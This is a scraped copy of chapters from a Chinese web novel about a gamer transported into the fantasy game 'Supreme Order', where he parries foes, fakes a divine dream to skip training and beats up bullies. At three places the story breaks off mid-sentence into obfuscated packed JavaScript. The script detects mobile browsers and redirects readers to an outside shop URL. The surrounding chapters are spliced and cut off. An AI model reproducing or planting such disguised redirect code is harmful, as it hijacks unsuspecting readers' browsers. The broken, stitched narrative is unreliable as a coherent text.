“不是担心在执行任务的过程中丧命啊，”莫艾无奈地笑了笑，“我是担心，我的‘认知等级’升不上去，发狂而死。” 认知等级，这又是个什么玩意儿？安西梗着脖子把拉面咽下去，用询问地目光看着莫艾。 莫艾吃惊：“你没了解过认知等级么？分为初级、中级、高级、禁忌四大阶段，十二个小阶段，从低到高分别是见习、进阶、精研、窥视……” 安西维持着夹起面条的动作，再次定格。 他想起来了，《至高秩序》这款游戏没有Lv0-Lv100这样的等级，而是将玩家主控的等级分为四个大阶段，每个大阶段有三个小阶段，共12个阶。 但这些对玩家来说都不重要，这款游戏有操作的话，0级0强化武器，也能一点点把BOSS磨死，没有操作，满级全身神装，也会被BOSS打得满地乱爬。 安西早就忘了“认知等级”这一茬，更不知道“发狂而死”之类的事。 “在认知等级达到高阶二阶段之前，我们的心智会逐渐被它侵蚀，”莫艾的掌心托起逆十字刀吊坠，“不断地挑战、不断地探索，才能维持精神稳定。” 安西眼中的光芒逐渐黯淡：“多久才会发狂？” “只挑战最简单的异鬼，三年到五年之间，就会发狂而死。” 安西眼中的光芒彻底熄灭。他完全想起来了，游戏里也有这一设定，他在游戏论坛里看到过：玩家若一直欺负新手村小怪，SAN会逐渐清零，达成【曳尾泥涂】这一结局，但安西奔着全网首通去的，挑战BOSS比谁都积极，没触发过这一机制。 很想骂一句狗策划，但这个世界没有策划。 安西抱着渺茫的希望，打开系统页面一看，认知等级一栏，赫然写着最低级的“见习”二字。 都穿越了，为什么不让他带着原来的等级穿越！ 三分钟前还神采奕奕的队友，眨眼间精神萎靡。莫艾不明白安西为何一会儿支棱，一会儿蔫巴。他眨了眨眼睛，困惑地说：“安西，你还好么？我们也吃饭完了，去领远征者福利吧。” 福利包括一套新手装，自选一把新手武器，以及分配房的钥匙。 安西选了一把巨锤，他习惯用特大武器。 武器到手，他想把装备往仓库里一塞，但身边有上百人，一把大锤子凭空消失，恐怕会引起不必要的注意。 想了想，安西把锤子背在后背上，必要时再使用系统仓库吧。 莫艾已经有了一把毕业级武器送死者镰钩，但武器不嫌多。不同的武器有不同的应用场景。 他准备拿走一把长弓时，一个人高马大的青年蛮横地撞了一下莫艾的肩膀，挤到他前面，先一步拿走了莫艾看中的长弓。 周围的人都愣了愣，新手武器数量充足，且所有长弓都一样，他非要抢莫艾看中的那一把，不是存心找事儿么？ 强壮青年不以为意，他把长弓背在背上，转过身，双臂环胸，居高临下地俯视莫艾：“看什么看？你也好意思站在这里？” 安西心中了然：莫艾是伊索恩托家族的人，伊索恩托家族追随福光，是远征者的敌人。 安西理解，但不尊重。莫艾都站在这里，成为远征者了，还不能说明莫艾的态度么？活人没剩几个，还搞内斗，这人脑袋太不灵光。 安西确实想躺平，但躺平和被人压扁还是有区别的。 更何况……安西其实挺喜欢战斗的，无论是游戏里还是游戏外。 安西是孤儿，原生脸过于阴柔，又带着些病气，每到一所新学校，就会第一时间成为被霸凌的对象，和安西交手后，霸凌者哭着回家找妈妈说自己被霸凌了。 朋友们称安西是大熊猫：看起来很贵，慵懒安静，与世无争，人畜无害。但熊猫是猛兽啊！一出手就能让别人安息。 只不过，安西玩《至高秩序》玩到猝死，又穿越到至高秩序的世界，面对他打到吐、打到死的怪物，没有任何攻击欲。 可是，安西还没在《至高秩序》里打过一场PVP呢。 “喂，把长弓还给莫艾。”安西一手扛起巨斧，一手推搡强壮青年的肩膀。 那人转过头俯视安西，鼻子里哼了一声：“小猫崽子，你想伸张正义也得看看对方是谁。” 壮汉揪着莫艾的衣领，一把拉到安西眼前：“你好好看看这张脸，看清楚他是个什么玩意儿。” 安西：“他是人，我看清楚了，你呢？” 壮汉死死咬着牙关，面部肌肉抽搐，挥拳就往安西脸上打。 他的拳头要落到安西脸上时，安西挥起巨斧弹反。 常玩游戏的都知道，快要被击中时，使用弹反技能，可借力打力。无论对方体型多大，力量多强，都会导致对方失去平衡。 对于《至高秩序》这种超高难度游戏来说，熟练使用各种武器弹反，是必备技能。 安西一个巨锤弹反，挡开这一拳。 乔森顿时感受到力量顺着腕骨、尺骨传至全身，他身体一歪，倒在武器台上。周围一片哗然。 见状，安西也有点惊讶。弹反是游戏里的技能，但如今他身处真实的世界，弹反能不能成功，效果好不好，安西也不知道。 刚才使用巨锤弹反攻击，完全是条件反射。 正想着，视野左上方出现一个透明界面：技能【弹反】已点亮。 【弹反】技能详解：在将要被击中时，使用任意武器挡开攻击，可令敌人失衡。 注：不同武器弹反时机不同，需自行探索。 界面中，弹反图标变成彩色，还有三个图标是灰白状态。 这四个图标和《至高秩序》的图标一模一样，即使是灰白的，安西也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来到二层的卧室，先看到乌赫博什·伊奇斯的遗像，悬挂位置正对着床，确保安西每天早上一睁眼，就能瞻仰自己的遗容。 安西有点不太想活了，他欲哭无泪，顺手拿起小茶几上的手帕，擦拭不存在的眼泪，余光瞥见，手帕上也绣着逆十字刀。 这回，安西真情实感地挤出两滴眼泪。 “放好行李我们去公会领取任务吧，额，安西，你的脸……”莫艾站在卧室门口，神情惊讶。 安西忽然感受到，贴在他脸上的易容面纱，在他擦眼泪时，位置移动了一点点。 他连忙按了按耳后，将易容面纱带好，沉着地问：“怎么了？” “我刚刚看到你五官扭曲了，像被什么东西挤得变形……”莫艾揉了揉眼睛，“是我眼花了。” 莫艾没有起疑，一心惦记着接取任务的事。但安西没轻易地放过这件事。 易容面纱只是初级道具，应急之用，很容易位移。带着面纱时，安西睡觉都不敢翻身，长此以往，迟早露馅。 认知等级迫使安西不断挑战高难度异鬼，战斗时，易容面纱更容易脱落。 若用原貌示人，那就彻底告别了平静的生活。得想个办法，获得更好的易容道具才行。 思索时，二人已来到见习等级的远征者公会，刚成为远征者的人在这里群聚，挤挤挨挨，公告板里里外外围了十几层。 安西站在人群外，扫了一眼，都是些虾兵蟹将，击败它们，无法获得易容道具。 “看看更高难度的任务？”安西说。 莫艾点头同意。 他们来到二层，这一层的布告板前，人少了一些，安西快速浏览一遍。 血厚一点的虾兵蟹将。 安西：“再看看别的。” 三层，血厚一点能打一点的虾兵蟹将。四层，滥竽充数的精英怪。五层，血厚的滥竽充数精英怪…… 人数越来越少，任务的难度越来越高，安西还是没看到自己想要的，他带着莫艾，一路来到最顶层，十楼。 到了顶楼，只剩两个人，他们背对着楼梯口，面朝布告栏，大声交谈着。 “这可是堕落者啊，看看就得了。”个字矮一点的人说。 “早晚有一天，我要他们死在我刀下。”高个儿的说。 看到高个子的背影，安西不禁感叹：不是冤家不聚头啊！ 其中一个人，正是挑选武器时和安西大打出手的乔森。 5. 午饭呢？ 乔森转过头来，见到安西和莫艾，嗤了一声：“野种，你父母贴在哪块布告栏上？” 莫艾的家人追随福光，伊索恩托家族，大部分人都是堕落者，自然也会被贴在布告栏上。 “如果你认为这样能激怒我的话，那你错了。”莫艾一本正经地说，“我和你们一样厌恶我的家人。” 乔森还没回话，忽听耳边刺啦一声，余光瞥见，安西竟撕下了一张任务公告书。 在场的另外三个人都愣了一下，这是顶层，布告栏上的任务是最高难度，贴在这上面的均是堕落者，安西连纠结犹豫都没有，这么快就撕下一张任务公告？ 莫艾吃惊：“不能随意撕的，撕下来就要完成公告上的任务。” 安西奇怪：“我当然是想完成任务，才会撕下来呀。” 三人的目光齐刷刷地看向安西手中的任务公告，上面写着：前往【泥沼之城】击败【黑泥王】 堕落者叫什么名，安西不是很关心，他的关注点在于：击败黑泥王，可以获得掉落物【重塑炉泥】 游戏中，使用该道具可以重新加点，还可以重新易形。无时间限制，无意外脱落风险。 乔森瞪大眼睛，黑泥之王还是整张布告栏上，难度最高的堕落者。 任务公告书上赫然写着：讨伐黑泥王的过程中，已牺牲188人。 血红的数字，触目惊心。 乔森也想过直接挑战黑泥王，但看到188这个数字，手都不敢伸出来。 此刻，安西竟轻飘飘地接下任务，还摆出一副不过如此的模样。相比之下，乔森觉得自己的胆怯滑稽可笑。 “小猫崽子，别意气用事。”乔森粗声粗气地说，“去管理处认个错，把任务公告还回去，我不笑话你。” 安西懒得给一个眼神：“手下败将，去1层接个最简单的任务，我不笑话你。” “你说谁是手下败将呢！”乔森大怒，“你以为我打不过你？要不是管理员拦着，我……” “这儿没有管理员，”安西的声音十分平静，让乔森的大嗓门显得格外可笑，“来啊，再切磋一次？” 乔森死死攥着拳头。他没把握赢过安西。 第一次交手，乔森用十成十的力气挥拳砸向安西，竟被安西轻飘飘地挡开。 安西毫发无伤，反倒是乔森被震得打了个趔趄。那一切发生的太快，乔森直到现在也没弄明白安西的技巧。 又是“刺啦”一声。 莫艾也撕下一张黑泥王的任务公告，他戴着戒指的拇指拂过数字188，心想：我要屠尽14个追随福光的罪恶家族。如果不敢从堕落者开始，那我有何脸面说出我的理想。 二人拿着任务公告离开，乔森瞪着他们的背影，直到他们消失在楼梯拐角处。 “别跟他们置气，乔森。”阿德莱德说，“他们打肿脸充胖子，第二天睡醒就会后悔，到管理处领罚。” 乔森呼哧呼哧喘着粗气，忽地撕下第三张黑泥王任务公告，咚咚咚地下楼去了。 阿德莱德再次瞪大眼睛，许久后，他耸耸肩，将最后一张黑泥王任务公告撕掉。 * 集训中心，莫艾坐在长椅上，手中紧握任务公告，将每一个字反反复复看了许多遍。 “四个新人接下讨伐堕落者的任务”这一消息不胫而走，传到远征平原每一个人的耳朵里。今天，将开始任务前的14天集训，所有见习远征者都在演武场等候教习。 “后悔了？害怕了？”阿德莱德讥笑道。 阿德莱德是乔森的朋友，看穿着，家境很不错。淡金色的发丝间散着淡淡香气，面容苍白，五官精致，瘦得像一把冰锥。 莫艾抬头看见他，似乎不记得他们之间的龃龉，很认真地说：“不后悔，也不害怕。我只是在想这188个牺牲的远征者……” “不后悔也不害怕～”阿德莱德表情夸张地模仿莫艾的语气，“哎呦呦，真是勇敢。” 乔森哈哈大笑：“莫艾·伊索恩托当然勇敢了！他可以哭着回家找妈妈啊。您的母亲比黑泥王强大不知多少倍。” 围着莫艾的人一阵哄笑。莫艾蹙了蹙眉头，走到另一个角落里，不与他们争吵。 莫艾是个软柿子，欺负他没有任何正反馈。乔森很快转移注意力，抻长了脖子喊：“安西呢？他怎么没出现，该不会是把任务偷偷还回去，在管理处领罚了吧？” 又是一阵哄笑，恰在这时，教习们来到演武场。打头的一个怀里抱着羊皮纸，隔着老远，大声问：“有四个人接下了讨伐堕落者的任务？哪四位勇士？站出来，给大家打个样子。” 莫艾最先走出来，随后是乔森，他看起来有些惴惴不安。最后是阿德莱德，他看起来漫不经心，只盯着莫艾手上漂亮的宝石戒指，又看看自己的戒指，发现自己的戒指远不如莫艾，狠狠切了一声。 等了半分钟，第四个人也没站出来。 “我就说他会放弃任务。”乔森忿忿道。 “我们没收到放弃任务的申请，”教习说，“第四个人呢？安西？安西你在么？” 人群中没有回应。 “报告教习，”莫艾小声说，“安西他……他很快就来。” “你是安西的室友吧，莫艾·伊索恩托。”教习读出最后四个字时，声音不太自然，脸色也冷了几分，“安西他怎么了？” 莫艾心想：安西在家里睡觉呢…… 得知见习远征者要参加14天的集训时，安西心中哀嚎不止：什么破游戏，新手教程足足14天！跳过跳过！ 这天早上，莫艾提前两个小时起床，梳洗打扮后，又等了半个多小时。 左等右等，安西也不起床，莫艾只好溜进他的卧室，把他叫醒，告诉他今天是集训第一天。 安西咕哝着：“知道了，我马上去，你先走。” 这一“马上”，马了足足1小时，教习都来了，也不见安西的人影。 莫艾不想告知实情，又不愿意说谎，面对教习的追问，只好沉默。 “安西迟到了，是吧。”教习脸色更冷，“其他人先开始集训。4人一组，分配一个教习。” 安西、莫艾、乔森、阿德莱德四人组的教习，正是霍礼凡。 霍礼凡一副玩世不恭的模样，先讲了些注意事项，随后让他们拿起武器，教一些基础招数。 两小时后，霍礼凡忍不住了：“安西什么时候来？” 莫艾躲避着教习的目光，目不斜视地练习突刺。 “问你呢，莫艾，”霍礼凡冲他扬了扬下巴，“安西人呢？” 躲不过去，莫艾只好如实回答：“我离开住所的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584251|187300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，安西……嗯……准备起床。” “玛丽苏版豌豆公主？两百平米的大床，叠了100层垫子，准备了两个小时，这床还是没起来？”霍礼凡摇摇头，展开安西那份羊皮纸卷，唰唰唰写着什么。 写完后，他瞧了一眼安西的照片：“我记得他，奔着远征者的福利来的。刚走进尖塔，就问我能不能分配住所。和我很投缘。” 霍礼凡本没有恶意，在场的人，95%以上都是奔着远征者的福利而来，否则，谁愿意拼命？ 但这话落到乔森和阿德莱德耳中，可大做文章。 “真狡猾啊，只占好处不出力。”乔森说。 阿德莱德阴阳怪气道：“和伊索恩托少爷真是同道中人，一个吃父母的好处，但扭脸就要杀亲爹亲妈。一个吃远征者尖塔的好处，但集训迟到。” 莫艾当没听到这番话，继续练习战斗技巧。 训练早晨5点30分开始，一直到中午十一点，安西才姗姗来迟。 “抱歉，教习，我迟到了。”安西打了个哈欠，语气里没有丝毫歉意。 演武场众人：……还练什么啊，你来吃午饭呢？ 霍礼凡笑了：“这个点儿过来，打算直接吃午饭？” “对啊。集训期间不是包午饭么。”安西左顾右盼，“什么时候开饭？” 众人再次：…… 安西对他们的目光视而不见，虽然穿越了，安西也知道他们是活生生的人，但有些时候（比如被迫参加14天新手教程心里特别不爽的时候），安西还是会把除他以外的人当成NPC 哪个玩家在乎NPC的眼光？ “想吃午饭？可以啊，”霍礼凡露出看好戏的神情，“我们今天上午的训练目标是击败术式人偶，你打败它，就可以去吃午饭。” 听到这番话，乔森和阿德莱德又开始讥笑。 霍礼凡诓骗安西，今天上午的训练目标，只是掌握长剑、短剑这两种武器的攻击方式。 击败术式人偶？那是明天晚上的训练目标。 其他教习也迫不及待地想看安西吃瘪，没揭穿霍礼凡。两名教习把术式人偶摆在安西面前。 木人偶带着拳套，做出准备攻击的架势。 安西揉揉眼睛，从霍礼凡手中接过短剑，握在左手。 “错了！”乔森嘲笑，“用右手使用主武器。” 安西斜睨着他，不带任何感情地说：“轮得着你指导？你是教习？” 他被迫起床，本来就不爽，这一眼很冷。乔森瞬间感受到莫名的威压。 不只乔森，安西冷淡的不耐烦的声音，令所有嘻嘻哈哈的人，顷刻间变了神色，不由得止住笑声。 等众人回过神时，安西左手反握短剑，走到术式人偶前。 左手持武器，才能出发弹反效果。 安西走入术式人偶攻击范围时，拳头朝他鼻子砸过来。安西反握短剑，随意挡开，在人偶失衡摇晃时，一刀刺入人偶的颈部。 弹反成功时，短剑发出清脆悦耳的撞击声，叮叮咚咚，在空旷的演武场中回荡。 反复数次，短剑齐齐整整地割下术式人偶的木头脑袋。人偶沉重的身体“咚”一声砸在地板上。 全场寂静。 安西把短剑往地上一扔，又打了个哈欠：“午饭呢？” 6. 逃课的方法 术式人偶被砍掉的脑袋，骨碌碌地滚到霍礼凡脚边。 霍礼凡带头鼓掌：“很好。” 全场响起欢呼。旷课一上午的新生，刚出场就秀了一波操作，让教习心服口服，集训期间，还有比这更刺激的么！ 莫艾鼓掌最认真，眼中满是钦羡。乔森翻了个白眼，不情不愿地碰了一下手掌心，阿德莱德则双臂环胸站着，手都没抬起来。 “再试一次。”霍礼凡扔给安西一把长剑，又摆出一只术式人偶。 不同武器有不同攻击方式，强大的远征者，往往需要掌握多种武器的使用方法。 3分钟后，第二只术式人偶的脑袋落地。 霍礼凡点点头，递给安西一把巨剑：“再来。” 特大武器，安西的强项。 这一次，仅用30秒结束战斗。 接下来是长矛、双手刀、太刀、手斧、软鞭……安西全程无伤，操控武器时如臂使指，仿佛这是再简单不过的事。 所有教习都围了过来，啧啧称叹。一个见习远征者，竟会使用这么多武器？ 霍礼凡面上不显，心中已万分激动。安西迟到一上午，霍礼凡本想用术式人偶为难安西，当做他迟到的教训。其实，就算安西被人偶击倒，霍礼凡也不会克扣安西的午饭。 没曾想，安西拥有这般天赋，全程使用弹反挡开人偶的攻击，没有一次失误。 弹反技能很考验战斗的“直觉”，反弹时机快半秒、慢半秒，都会错失良机，被人偶重击。 但安西一次失误都没有。 “上一次有这种战斗直觉的新人远征者，还是四年前的那一位吧。”另一名教习小声和霍礼凡交谈。 霍礼凡点点头：“他和我同一批共鸣成功。可惜了，他……唉。” 见习远征者们没听到教习的小声交谈，沉浸地观赏安西的战斗。 安西用花剑刺穿术式人偶后，向教习们投去询问的目光。那眼神的意思是，我都用这么多种武器击倒新手教程人偶了，什么时候能吃午饭？ 但霍礼凡想杀一杀安西的锐气。 “拿起你的武器，和我打一架。”霍礼凡说。 安西：“哈？” 没等安西回过神，霍礼凡就抽出权杖，随手一挥，流星似闪耀、纯粹的能量，向安西袭来。 安西心中抗议：你不讲武德！普通弹反对法术攻击无效，你怎么能使用魔法呢！ 爆肝游戏1200小时锻炼出的本能，让安西的身体比脑袋先反应过来，在彗星法术击中安西前，他向后撤了一步，刚好躲过。 系统页面：技能【影步】已解锁。 影步，就是游戏中的闪避技能。 《至高秩序》有两种主要的闪避技能：影步和翻滚。 安西最常用的就是影步，没别的原因，比起满地乱滚，影步轻盈优雅，非常有观赏性。 但影步的“无敌帧”很短，相较于翻滚，躲避攻击较难。 对安西来说不算太难。 他连续数次躲开魔法攻击，与霍礼凡拉近距离，用花剑一刺，霍礼凡也用影步躲开。 安西：过分了嗷。 霍礼凡的体质经过多次强化，安西虽有技术，体质还是菜鸡见习远征者的水平，还没学会技能。 令人眼花缭乱的法术，在演武场上空织成一片璀璨的光幕，雨点般密集地向安西袭来，很快，将安西的体力耗尽。 彻底脱力之前，安西认准时机，无视身后向他砸过来的十几道法术，全速冲向霍礼凡，花剑刺向霍礼凡的喉咙。 霍礼凡挥动权杖，所有法术消失。安西的剑，只刺破霍礼凡脖子处的皮肤。 “还不错。”霍礼凡拨开脖子前的剑刃。 安西已精疲力竭，一屁股坐在地上，调整着呼吸。 “还愣着干什么？”霍礼凡摆摆手，“去吃午饭了！” 见习远征者们一哄而散，好几个人围到安西身边，问东问西。 等所有新人离开演武场，霍礼凡的目光还停留在安西背影消失的方向。 “走吧，我们也该吃饭了。”名叫佩兰的教习说。 霍礼凡好像没听到。 “喂？”佩兰在霍礼凡耳边打了个响指，霍礼凡仍望着那个方向，双目空洞。 佩兰似乎知道霍礼凡在想什么，叹了口气：“桂威洛不会回来了，别想他了。” “三年前，皓白冰原还是一片净土，雪人和雪山巨人在那里定居，过着与世无争的生活。”霍礼凡的声音变得滞涩。 “仅仅因为雪山巨人王不愿意进贡圣湖冰鱼，桂威洛的火焰就将整片皓白冰原焚烧殆尽。” “冰雪变成泥淖，冰原变成沼泽。温和敦厚的巨人王，变成今天的黑泥王。” 佩兰缄默不语，目光沉重。 霍礼凡：“桂威洛也是远征者啊，他为什么要和堕落者沆瀣一气，变成如今这副模样？” 这个问题的回答，只有叹息。 * “安西，你怎么做到的？”吃午饭时，莫艾两眼放光，似乎热切地盯着安西，就能获得弹反成功率99%的能力。 你要是3个月内打一款游戏1200小时，你也能做到。安西在心里嘟囔。 呃……或许不只是游戏时长的原因。 《至高秩序》是pc端游，玩游戏时，安西操控的是鼠标键盘。但穿越之后，主控的能力传递到安西身上，让安西对各种武器无师自通。 安西懒得追究为什么键鼠操作能转化为战斗技巧，穿越这种奇怪的事都发生了，自动学会弹反和影步，也不算离谱吧。 午饭吃到一半，教习也来到食堂。霍礼凡等人，选择了安西旁边的座位。 起初安西没在意，但当安西吃完饭，打算溜之大吉时，他恍然发觉，霍礼凡选择他身边的座位，大有深意。 “上午的训练，我不追究，下午和晚上的训练，你不能缺席。”霍礼凡揪住安西的后脖领，冷酷无情地说。 被揪住领子的安西：……过分！ 下午两点到晚上九点半的训练，安西成为重点关注对象，每当他想见缝插针地摸鱼，霍礼凡就把他揪出来，要么出一些超纲的考题，要么让安西做示范。 晚训结束，安西已生无可恋，游魂一样飘回他心心念念的床。 这才第一天，就这么难熬。接下来还有13天……安西有点想被挂在墙上了。 不行，得想个办法逃过集训。 安西一骨碌坐起来，正好和挂在墙上的乌赫博什·伊奇斯遗像面对面。 他抬手摸了摸耳后，将易容面纱贴得牢固一些。 安西想逃课，不只因为嫌累，还有一个重要原因：剧烈活动很容易让易容面纱移位。 七个多小时的训练，安西平均三分钟就要固定一次易容面纱，耳后那块皮肤都要被他蹭秃噜皮了。 不仅麻烦，还像戴了个口罩似的不透气。成倍的折磨。 不过……这张脸，在这个世界，大有用途。 安西反锁上门，揭开易容面纱，露出他原本的面目。 他天生一张厌世脸，面颊瘦削，眼睛有些下三白，下眼睑处淡淡的黑眼圈，看什么人都像看狗，蔑视一切，高高在上……总之，和墙上挂着的那位一模一样。 更何况，安西还有尸香刺轮。 他看着系统仓库中的武器，使用尸香刺轮的时间增加，刺轮的太阳人脸，会逐渐变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“总提他干什么。”佩兰轻声说，“他早已投靠穆耶利亚家族，他现在是穆耶利亚行刑官，是远征者的敌人。” 穆耶利亚家族，十四个追随福光的家族之一，安西对这个名字有印象，因为莫艾总和他说这14家的坏话。 霍礼凡已完全褪去困意，面无表情地给草稿勾线：“13天后，安西的队伍去讨伐黑泥王，任务难度大，队里还有个伊索恩托少爷……塔主不放心，特地派了两位教习带队，我和你。” “那条路线经过穆耶利亚宅邸，我要去找桂威洛。” 佩兰没说话，半晌后叹了口气：“我拦不住你。” “知道就好。”霍礼凡说，“我找个借口，中途离队两天左右，你保护好那群小崽子。” “嗯。” 佩兰又交代几句草稿的注意事项，离开工作间。 房间内，只剩霍礼凡和安西二人。 机会来了。 安西打开迷雾瓶，一团团白雾腾空而起。 “什么人！”霍礼凡瞬间警惕，他抽出权杖，还没来得及攻击，先看到迷雾中出现一轮金色光芒。 他感受到熟悉的气息，慢慢放下武器。 那一轮纯粹的、耀眼的金色……是太阳么？ 不，不是太阳。霍礼凡扶着昏沉的大脑，迷雾令他思维混沌。 那是尸香刺轮的太阳脸。乌赫博什·伊奇斯的太阳脸。 霍礼凡缓缓抬起头，他一定是太困了，困出幻觉了。他竟然在迷雾中看到那张世人朝思暮想的面容 7. 找到一个叛徒 太阳人脸在雾气中俯视着霍礼凡。 重重迷雾之后，隐约是乌赫博什·伊奇斯的面容，祂垂着眼，手持尸香刺轮。 工作间每一个积灰的角落、每一张堆满杂物的桌子，都被太阳人脸的微光照得无比清晰。 这是霍礼凡第一次听到乌赫博什·伊奇斯的声音： “让他来见我。” “谁？”霍礼凡迷茫地问。 “你会知道他是谁。”说完这句话，又一团迷雾升起，彻底隐去了乌赫博什·伊奇斯的身影，只有太阳人脸在暗处折射一道道璀璨的光芒。 迷雾起效，霍礼凡昏睡。 又等了一会儿，安西小心翼翼地推了霍礼凡的肩膀一下，见他睡得很沉，长舒一口气，连忙把易容面纱贴回去，把尸香刺轮收进系统仓库。 他垫着脚溜出工作间，计划着下一步行动…… “谁在那边？”佩兰的声音从身后响起。 安西动作一僵，很快恢复镇定：“教习，是我。” 佩兰举着蜡烛台，另一手抱着些羊皮纸卷。上下打量安西：“大半夜不睡觉，跑这里来做什么？” 计划第二步，行动。 安西装出一副困惑、惶恐的模样，蹙着眉头说：“教习，我做了一个奇怪的梦。我梦见乌赫博什·伊奇斯……” 听到这个名字，佩兰的神情立刻变得肃穆。 “祂让我接下来的两周，去静室洒扫侍奉，祂有神谕要传给我。”安西说。 佩兰的眉头皱得更紧：“你只是想逃集训吧？这片大陆上，不应该有人以乌赫博什·伊奇斯的名义说谎。” “是啊，我怎么敢用他的名字说谎。”安西说，“但这个梦让我心神不宁，我不知道该怎么办，想来问问霍礼凡教习。” 佩兰半信半疑，片刻后点点头：“你回去吧，我会转告霍礼凡。” 安西离开后，佩兰再次走进工作间：“这几张草图给你做参考……霍礼凡？霍礼凡！” 看到昏迷的霍礼凡，佩兰快步跑过去，拍拍他的脸，强行将他唤醒。 霍礼凡睁开迷离的眼，盯着天花板，久久出神。 佩兰：“你困成这样？” 霍礼凡恍然回过神似的，朝身边看了一眼。 乌赫博什·伊奇斯已经消失了，和尸香刺轮一起。 “我好像做了个梦，”霍礼凡扶着钝痛的脑袋，坐在地板上，“我梦到了乌赫博什·伊奇斯。” 佩兰：“你也梦到祂了？” “为什么说‘也’？”霍礼凡问。 佩兰：“我来的路上，遇到安西，他说他梦到伊奇斯大人，伊奇斯让他接下来两周去静室聆听神谕。” 才说了一半，霍礼凡的神色陡然变得严肃，他想起“梦”中的内容，伊奇斯对他说：让他来见我。 “他”指的是安西？ 见霍礼凡神色有异，佩兰连忙追问怎么了，霍礼凡一五一十地告诉他，听罢，佩兰小声嘟囔着：“我还以为安西只是想逃集训。你确定那是伊奇斯大人么？” “谁会拿祂开玩笑！”霍礼凡说，“我看得一清二楚，伊奇斯大人手持尸香刺轮，太阳人脸和那位大人的五官一模一样，肯定是离奇消失的那一把刺轮。” 怪事接连发生，搞得人心惶惶，许久后，佩兰丢了魂似的说：“我知道了，我会向上汇报。” * 第二天，安西顺顺当当地进入尖塔静室洒扫侍奉。 静室主要用于祷告、学习。正对着大门是一尊乌赫博什·伊奇斯的塑像，两侧满墙书柜，还有几张舒服的椅子。 在静室洒扫侍奉，也就是给雕塑擦擦灰。 安西才不干这活，哪有给自己上坟的？他找了张柔软贵妃榻，一睡就是一上午。 接下来几天，都被安西理直气壮地混了过去。 集训第七天中午，吃午饭时，莫艾一双闪闪发光的眼睛，期待望着安西：“你听到伊奇斯大人的神谕了么？” “啊——”安西打了个哈欠，“没有。” 什么破神谕，你心心念念的神，就在你面前坐着呢。 莫艾的眼睛还是亮晶晶的，鼓励道：“不急，至信至诚，一定能听到伊奇斯大人的呼唤。” 午饭吃到一半，安西忽然发现，莫艾肩膀处有一道紫得发黑的淤痕，一直蔓延到颈侧。 “怎么回事？”安西朝淤青处扬了扬下巴。 莫艾下意识地扯了扯衣领，挡住淤青：“没什么，训练时撞了一下。” 这时安西注意到，莫艾的袖子里缠着绷带，一角血迹渗出。 安西放下筷子，面无表情道：“乔森和阿德莱德又欺负你了，是不是？” “正常的过招罢了。”莫艾说着，迅速转移话题，聊起了14罪恶家族的事。 安西却没轻易放下这件事，他打小就是孩子王，校霸们公认的大哥，见不得自己的朋友被欺负。 在静室躺了一周，安西也觉得无聊，既然乔森和阿德莱德不断挑事，安西也不介意活动一下筋骨。 这天下午，安西久违地出现在演武场。 “你不去聆听神谕么？”莫艾问。 “换换思路，接收不同的能量。”安西抻着懒腰，扫视演武场，寻找那两人的身影。 下午，教了几招巨剑的招式，随后，给他们每个人发了一柄没开刃的巨剑，两两一组切磋过招。霍礼凡照例叫一组上前演示。 “教习，我来演示。”安西举起手，走出队列。 霍礼凡点点头：“好。谁和安西过招？” 安西大声说：“让乔森和阿德莱德和我过招。” 此言一出，乔森和阿德莱德的面露惊慌。安西的实力有目共睹，谁敢和他打？ 但安西没打算放过他们：“我知道他们两个水平差，让他们两个打我一个。” 二打一，这不比1v1有意思？其他见习远征者纷纷起哄，让那两人赶紧上。 乔森和阿德莱德面露难色，但面对起哄的这么多人，又没办法拒绝，不情不愿地提着巨剑，站在安西对面。 “准备——”霍礼凡抬起胳膊，“开始！” 安西提着巨剑冲过去，抡圆了照着乔森的脑袋一挥。 剑刃重击大脑，咚的一声闷响，乔森登时被击晕，倒在地上半晌爬不起来。 阿德莱德被这架势吓得脸色发白，双手颤抖的厉害，剑都握不稳。 安西没给他调整状态的时机，顺势握着巨剑转了一圈，剑刃横着劈中阿德莱德的腹部，阿德莱德痛呼一声，武器落地，捂着腹部干呕。 见情况不大对，看热闹的人不约而同地噤声。 霍礼凡也没阻止，远征者间，有龃龉和摩擦，十分正常。没开刃的武器打不死人，如果乔森和阿德莱德连这疼痛都受不了，凭什么面对异鬼？ 身后，乔森终于爬起来，怒骂着“我日你祖宗”，高举巨剑朝安西的后脑砸过来。 这一剑，乔森用了十成十的力气，剑刃劈开空气，嗡嗡作响。 安西侧身躲开，膝盖重击乔森腹部，紧接着一脚将他踢飞。 乔森砸在阿德莱德身上，阿德莱德又痛呼一声。 “你犯规！”乔森恼羞成怒地大喊，“我们要用巨剑切磋，你怎么能上脚踹？！” 安西俯下身，轻声问：“你们欺负莫艾时，犯规没犯规？” 乔森哑口无言，咬牙切齿地瞪着安西，嘎嘣嘎嘣地掰响指关节。 安西还想踹两脚，但看这两人的血条，均少于50% 他打得已经很重了，再打很容易出人命。安西的声音更轻，更温柔：“再给我找不痛快，我让你去见你祖宗。” 围观者噤若寒蝉，霍礼凡则拊掌哈哈大笑。 半小时后，远征者医务室。 莫艾、乔森、阿德莱德整整齐齐地躺在病床上，数名医生围着他们查看。 安西抱着胳膊坐在角落处的椅子里，被一群教习团团围住。 “只是切磋，你下这么重的手干什么？” 